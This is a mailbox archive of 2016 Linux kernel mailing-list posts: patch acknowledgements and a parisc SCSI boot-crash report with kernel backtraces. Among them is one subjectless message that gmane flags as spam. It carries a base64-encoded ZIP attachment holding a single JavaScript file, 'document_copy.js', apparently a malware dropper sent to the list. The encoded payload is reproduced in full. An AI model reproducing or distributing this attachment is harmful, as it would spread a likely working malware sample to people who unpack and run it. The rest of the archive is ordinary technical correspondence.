Xref: news.gmane.org gmane.linux.kernel:2219862 gmane.linux.kernel.arc:1013 gmane.linux.ports.arm.kernel:499291 gmane.linux.ports.hexagon:1017 gmane.linux.ports.m68k:8620 gmane.linux.kernel.metag:1089 gmane.linux.ports.openrisc:725 gmane.linux.ports.parisc:26767 gmane.linux.ports.sh.devel:54013
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2219862>

On Wed, 2016-05-11 at 17:06 +0800, zengzhaoxiu@163.com wrote:
> From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
> 
> Simply use the generic version.
> 
> Signed-off-by: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
> Acked-by: Hans-Christian Noren Egtvedt <egtvedt@samfundet.no> [for avr32]
> ---

For c6x:

Acked-by: Mark Salter <msalter@redhat.com>



From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Doug Ledford <dledford@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.uml.devel,gmane.linux.kernel.firewire.devel,gmane.linux.drivers.rdma,gmane.linux.scsi,gmane.linux.can,gmane.linux.ports.arm.omap,gmane.linux.hams,gmane.linux.usb.general,gmane.linux.kernel.wireless.general,gmane.org.freifunk.batman,gmane.linux.bluez.kernel
Subject: Re: [PATCH net-next 4/5] treewide: replace dev->trans_start update
 with helper
Date: Thu, 12 May 2016 15:40:46 -0400
Organization: Red Hat, Inc.
Lines: 82
Approved: news@gmane.org
Message-ID: <20118955-8739-b79a-e20e-96302e8b41bf@redhat.com>
References: <1462285862-30946-1-git-send-email-fw@strlen.de>
 <1462285994-31983-1-git-send-email-fw@strlen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="MxOQ9rEvBghhBiQvcDah4SfXu2ff5Ef0r"
X-Trace: ger.gmane.org 1463082057 29733 80.91.229.3 (12 May 2016 19:40:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 May 2016 19:40:57 +0000 (UTC)
Cc: user-mode-linux-devel@lists.sourceforge.net,
	linux-xtensa@linux-xtensa.org,
	linux1394-devel@lists.sourceforge.net, linux-rdma@vger.kernel.org,
	mpt-fusionlinux.pdl@broadcom.com, linux-scsi@vger.kernel.org,
	linux-can@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-omap@vger.kernel.org, linux-hams@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-wireless@vger.kernel.org,
	linux-s390@vger.kernel.org, devel@driverdev.osuosl.org,
	b.a.t.m.a.n@lists.open-mesh.org, linux-bluetooth@vger.kernel.org
To: Florian Westphal <fw@strlen.de>, netdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 12 21:40:55 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b0wTd-00077t-J6
	for glpp-linux-parisc@plane.gmane.org; Thu, 12 May 2016 21:40:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753041AbcELTkx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 May 2016 15:40:53 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:46295 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753036AbcELTkv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 May 2016 15:40:51 -0400
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id E57864707A;
	Thu, 12 May 2016 19:40:50 +0000 (UTC)
Original-Received: from linux-ws.xsintricity.com (ovpn-116-18.rdu2.redhat.com [10.10.116.18])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u4CJelHJ009099
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 12 May 2016 15:40:48 -0400
Openpgp: id=AE6B1BDA122B23B4265B1274B826A3330E572FDD; url=pgp.mit.edu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.0
In-Reply-To: <1462285994-31983-1-git-send-email-fw@strlen.de>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.30]); Thu, 12 May 2016 19:40:51 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26768 gmane.linux.network:412442 gmane.linux.uml.devel:15868 gmane.linux.kernel.firewire.devel:17508 gmane.linux.drivers.rdma:36612 gmane.linux.scsi:113645 gmane.linux.can:9357 gmane.linux.ports.arm.omap:135854 gmane.linux.hams:7355 gmane.linux.usb.general:141897 gmane.linux.kernel.wireless.general:152044 gmane.org.freifunk.batman:15252 gmane.linux.bluez.kernel:67576
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26768>

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--MxOQ9rEvBghhBiQvcDah4SfXu2ff5Ef0r
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: quoted-printable

On 05/03/2016 10:33 AM, Florian Westphal wrote:
> Replace all trans_start updates with netif_trans_update helper.
> change was done via spatch:
>=20
> struct net_device *d;
> @@
> - d->trans_start =3D jiffies
> + netif_trans_update(d)
>=20
> Compile tested only.
>=20
> Cc: user-mode-linux-devel@lists.sourceforge.net
> Cc: linux-xtensa@linux-xtensa.org
> Cc: linux1394-devel@lists.sourceforge.net
> Cc: linux-rdma@vger.kernel.org
> Cc: netdev@vger.kernel.org
> Cc: MPT-FusionLinux.pdl@broadcom.com
> Cc: linux-scsi@vger.kernel.org
> Cc: linux-can@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-omap@vger.kernel.org
> Cc: linux-hams@vger.kernel.org
> Cc: linux-usb@vger.kernel.org
> Cc: linux-wireless@vger.kernel.org
> Cc: linux-s390@vger.kernel.org
> Cc: devel@driverdev.osuosl.org
> Cc: b.a.t.m.a.n@lists.open-mesh.org
> Cc: linux-bluetooth@vger.kernel.org
> Signed-off-by: Florian Westphal <fw@strlen.de>
> ---
>  Checkpatch complains about whitespace damage, but
>  this extra whitespace already exists before this patch.
>=20
>  drivers/infiniband/hw/nes/nes_nic.c                    | 2 +-
>  drivers/infiniband/ulp/ipoib/ipoib_cm.c                | 2 +-
>  drivers/infiniband/ulp/ipoib/ipoib_ib.c                | 2 +-

For InfiniBand bits,

Acked-by: Doug Ledford <dledford@redhat.com>

--=20
Doug Ledford <dledford@redhat.com>
              GPG KeyID: 0E572FDD



--MxOQ9rEvBghhBiQvcDah4SfXu2ff5Ef0r
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/

iQIcBAEBCAAGBQJXNNw+AAoJELgmozMOVy/dVQcP/1RZvmqQVJpZMtptIm8OpoPW
4QrFlnjv+KorYVaF1Hg7+0X6yfCF53ofTKRAg4zaYiASZw4AJWYzslxA9b0OvpPS
TzMjJrbWm27+W2pH8ZivFepys9afxW5o/qb7CFYyOPOEml495zReUvTqt/nSh7jG
8nTdwO4xH5kY4P82bDn18Lyqd/8cS7yFl1OAK88eqq+y9JgveiIsO2PlsrtFENtX
+RyadCAluEUdfe6CZjMjUptBptIi6hfoMqmXXu4vcFs48mqbVf4QubFp5f+4wJa2
KScILHNil3156j3TY3lpG1ukf2SfF0UYDYxco5tZlZ3O7nB3Xteif94gvvUiszyO
IfGn3/wblQs6tRSHjMRNYiTVeYkyh0eXbdbha/7bkBG58mEjYFnrjtRuBMD2Ogmm
uz6MhyD6Ez7mKKVBc3ooQ6SYpcwb4surHEGm36a2Utnb/vftxyPYpA75neZbSGZO
X828tsNcxB9K8FUCEcP/Xasc5xE6kPtpwu5TIbJ7itYLs4yRoZbsmcI5UrhjqERp
YAAiI07vifFHyFLUnfAOefjXxQOFJdQHtMphlnjfYiKXSpJsAhT2LIJpepgbovCc
/268dPol/ul7WUbLu2P4zlnnIEQgABW6NKFMAg/N/b4XQ08VkeKv82yJ9aLuyG2J
0QbOFyrXnR/I1OYFeDAU
=2VMH
-----END PGP SIGNATURE-----

--MxOQ9rEvBghhBiQvcDah4SfXu2ff5Ef0r--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <ngler@asu.edu>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: (unknown)
Date: Sun, 16 May 2016 04:01:22 0000
Lines: 46
Approved: news@gmane.org
Message-ID: <000101d1af27$9bb49bf6$c0a80001@comstar.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: application/zip; name="EMAIL_7236410667_linux-parisc.zip"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1463349714 24084 80.91.229.3 (15 May 2016 22:01:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 May 2016 22:01:54 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 16 00:01:49 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b246J-0004sB-Fg
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 May 2016 00:01:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751815AbcEOWB1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 May 2016 18:01:27 -0400
Original-Received: from DramTeatrPushkina.access.comstar.ru ([89.175.118.110]:59511
	"HELO comstar.ru" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with SMTP id S1751709AbcEOWB0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 May 2016 18:01:26 -0400
Original-Subject: 
Importance: High
Content-Disposition: attachment
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 9.0 points;
 *  1.7 INVALID_DATE Invalid Date: header (not RFC 2822)
 *  0.4 DATE_IN_FUTURE_03_06 Date: is 3 to 6 hours after Received: date
 *  2.9 TVD_SPACE_RATIO BODY: TVD_SPACE_RATIO
 *  0.0 MIME_BASE64_BLANKS RAW: Extra blank lines in base64 encoding
 *  0.0 RATWARE_OUTLOOK_NONAME Bulk email fingerprint (Outlook no name)
 *      found
 *  1.3 MISSING_SUBJECT Missing Subject: header
 *  2.8 RATWARE_MS_HASH Bulk email fingerprint (msgid ms hash) found
Xref: news.gmane.org gmane.linux.ports.parisc:26769 gmane.spam.detected:5345408
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26769>



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
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: parisc late boot crash in 4.4-rc, scsi-related
Date: Mon, 16 May 2016 23:40:09 +0300 (EEST)
Lines: 145
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1605162336050.12607@math.ut.ee>
References: <alpine.LRH.2.20.1601082329270.23187@math.ut.ee> <56902D77.1020200@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1463432077 25038 80.91.229.3 (16 May 2016 20:54:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 May 2016 20:54:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-block@vger.kernel.org,
	linux-scsi@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-scsi-owner@vger.kernel.org Mon May 16 22:54:36 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1b2PX8-0005Do-LP
	for lnx-linux-scsi@plane.gmane.org; Mon, 16 May 2016 22:54:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750816AbcEPUy1 (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Mon, 16 May 2016 16:54:27 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:56395 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750785AbcEPUy0 (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Mon, 16 May 2016 16:54:26 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 3480B9019C;
	Mon, 16 May 2016 23:54:22 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 56FBE221773; Mon, 16 May 2016 23:40:09 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 4778D221259;
	Mon, 16 May 2016 23:40:09 +0300 (EEST)
In-Reply-To: <56902D77.1020200@gmx.de>
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:113686 gmane.linux.ports.parisc:26770
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/113686>

> > I noticed on RP3440 and A500 that recent 4.4-rc* crashes on boot.
> 
> I've not seen it with 4.4-rc yet, but I've seen it on debian kernel 4.3.3:

This is still present in 4.6, just tested. All my pariscs are broken  
- A500, RP3410, RP3440. 4.3 is the latest working release for me. If 
4.3.3 is broken, it might be possible to bisect more easily.

sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 22
sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi host0: sym-2.2.3
scsi 0:0:0:0: Direct-Access     COMPAQ   BF07285A36       HPB7 PQ: 0 ANSI: 3
scsi target0:0:0: tagged command queuing enabled, command queue depth 16.
scsi target0:0:0: Beginning Domain Validation
scsi target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
scsi target0:0:0: Ending Domain Validation
random: nonblocking pool is initialized
sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 23
sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi host1: sym-2.2.3
bioset (67) used greatest stack depth: 13864 bytes left
bioset (82) used greatest stack depth: 13608 bytes left
mousedev: PS/2 mouse device common for all mice
sd 0:0:0:0: [sda] 142264000 512-byte logical blocks: (72.8 GB/67.8 GiB)
sd 0:0:0:0: [sda] Write Protect is off
sd 0:0:0:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
NET: Registered protocol family 17
rtc-generic rtc-generic: setting system clock to 2016-05-16 20:41:06 UTC (1463431266)
 sda: sda1 sda2 sda3 sda4
sd 0:0:0:0: [sda] Attached SCSI disk
EXT4-fs (sda3): couldn't mount as ext3 due to feature incompatibilities
EXT4-fs (sda3): couldn't mount as ext2 due to feature incompatibilities
EXT4-fs (sda3): mounted filesystem with ordered data mode. Opts: (null)
VFS: Mounted root (ext4 filesystem) readonly on device 8:3.
devtmpfs: mounted
Freeing unused kernel memory: 1024K (0000000040100000 - 0000000040200000)
This architecture does not have kernel memory protection.
------------[ cut here ]------------
WARNING: CPU: 2 PID: 1 at block/blk-merge.c:462 blk_rq_map_sg+0x5d8/0x610
Modules linked in:
CPU: 2 PID: 1 Comm: init Not tainted 4.6.0 #85
task: 000000007fce8000 ti: 000000007fc3c000 task.ti: 000000007fc3c000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Not tainted
r00-03  000000ff0806ff0f 000000007fc3d090 0000000000000000 000000007fc3d090
r04-07  00000000407c8d50 0000000000000000 0000000000000000 0000000000000120
r08-11  0000000000000000 0000000000000001 000000033f146c08 0000004080095e28
r12-15  0000000000001000 000000033f168000 0000000000000003 0000000000000012
r16-19  0000000000001000 000000033f146c08 000000033f146930 0000000000001000
r20-23  0000000000000000 0000000000015698 000000007fe2b800 0000000004040000
r24-27  0000000004040000 8fffdfe1c0000000 000000033f146c08 00000000407c8d50
r28-31  0000000000000001 0000000000001000 000000007fc3d1c0 0000000000000002
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040496340 0000000040496344
 IIR: 03ffe01f    ISR: 0000000010340800  IOR: 000003fc51946c08
 CPU:        2   CR30: 000000007fc3c000 CR31: ffffffffffffffff
 ORIG_R28: 000000007fc3d360
 IAOQ[0]: blk_rq_map_sg+0x5d8/0x610
 IAOQ[1]: blk_rq_map_sg+0x5dc/0x610
 RP(r2):           (null)
Backtrace:
 [<000000004056afc0>] scsi_init_sgtable+0xa0/0x130
 [<000000004056b0a4>] scsi_init_io+0x54/0x160
 [<000000004058ac08>] sd_init_command+0x68/0x708
 [<000000004056b2b4>] scsi_setup_cmnd+0x104/0x1a0
 [<000000004056be58>] scsi_queue_rq+0x868/0xa00
 [<000000004049c074>] __blk_mq_run_hw_queue+0x2fc/0x508
 [<000000004049bd4c>] blk_mq_run_hw_queue+0xdc/0x108
 [<000000004049d76c>] blk_mq_insert_requests+0x15c/0x190
 [<000000004049e6a4>] blk_mq_flush_plug_list+0x18c/0x1b8
 [<000000004048f4d4>] blk_flush_plug_list+0x104/0x2c0
 [<000000004048fa44>] blk_finish_plug+0x44/0x68
 [<00000000402f81b4>] __do_page_cache_readahead+0x29c/0x3d0
 [<00000000402e8a88>] filemap_fault+0x6f0/0x838
 [<00000000404067b8>] ext4_filemap_fault+0x58/0x90
 [<00000000403193f8>] __do_fault+0x78/0x180
 [<0000000040320504>] handle_mm_fault+0x134c/0x1ec0

---[ end trace 1e7388db767b0433 ]---
------------[ cut here ]------------
kernel BUG at drivers/scsi/scsi_lib.c:1097!
CPU: 2 PID: 1 Comm: init Tainted: G        W       4.6.0 #85
task: 000000007fce8000 ti: 000000007fc3c000 task.ti: 000000007fc3c000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Tainted: G        W
r00-03  000000ff0806ff0f 000000007fc3d090 000000004056afc0 000000007fc3cff0
r04-07  00000000407c8d50 0000000000000001 000000033f146b48 000000033f146930
r08-11  000000007fdcb800 000000007fe28c00 0000000000012000 0000000040999660
r12-15  000000007fdcb800 000000033f146930 0000000000000000 000000007fdcb800
r16-19  0000000000000000 0000000000000158 000000033f10e120 0000000000001000
r20-23  0000000000000000 0000000000015698 000000007fe2b800 0000000004040000
r24-27  0000000004040000 8fffdfe1c0000000 000000033f146c08 00000000407c8d50
r28-31  0000000000000003 0000000000001000 000000007fc3d090 0000000000000002
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004056b030 000000004056b034
 IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
 CPU:        2   CR30: 000000007fc3c000 CR31: ffffffffffffffff
 ORIG_R28: 0000000000000000
 IAOQ[0]: scsi_init_sgtable+0x110/0x130
 IAOQ[1]: scsi_init_sgtable+0x114/0x130
 RP(r2): scsi_init_sgtable+0xa0/0x130
Backtrace:
 [<000000004056b0a4>] scsi_init_io+0x54/0x160
 [<000000004058ac08>] sd_init_command+0x68/0x708
 [<000000004056b2b4>] scsi_setup_cmnd+0x104/0x1a0
 [<000000004056be58>] scsi_queue_rq+0x868/0xa00
 [<000000004049c074>] __blk_mq_run_hw_queue+0x2fc/0x508
 [<000000004049bd4c>] blk_mq_run_hw_queue+0xdc/0x108
 [<000000004049d76c>] blk_mq_insert_requests+0x15c/0x190
 [<000000004049e6a4>] blk_mq_flush_plug_list+0x18c/0x1b8
 [<000000004048f4d4>] blk_flush_plug_list+0x104/0x2c0
 [<000000004048fa44>] blk_finish_plug+0x44/0x68
 [<00000000402f81b4>] __do_page_cache_readahead+0x29c/0x3d0
 [<00000000402e8a88>] filemap_fault+0x6f0/0x838
 [<00000000404067b8>] ext4_filemap_fault+0x58/0x90
 [<00000000403193f8>] __do_fault+0x78/0x180
 [<0000000040320504>] handle_mm_fault+0x134c/0x1ec0

CPU: 2 PID: 1 Comm: init Tainted: G        W       4.6.0 #85
Backtrace:
 [<0000000040216b58>] show_stack+0x20/0x38
 [<00000000404b8850>] dump_stack+0xa8/0x120
 [<0000000040216d2c>] die_if_kernel+0x19c/0x2b0
 [<0000000040217bf8>] handle_interruption+0x9b8/0x9e0

---[ end trace 1e7388db767b0434 ]---



-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: parisc late boot crash in 4.4-rc, scsi-related
Date: Mon, 16 May 2016 17:41:45 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <9d1ae51e-69c3-c3f6-60aa-e5238dd18241@bell.net>
References: <alpine.LRH.2.20.1601082329270.23187@math.ut.ee>
 <56902D77.1020200@gmx.de> <alpine.LRH.2.20.1605162336050.12607@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1463434921 4780 80.91.229.3 (16 May 2016 21:42:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
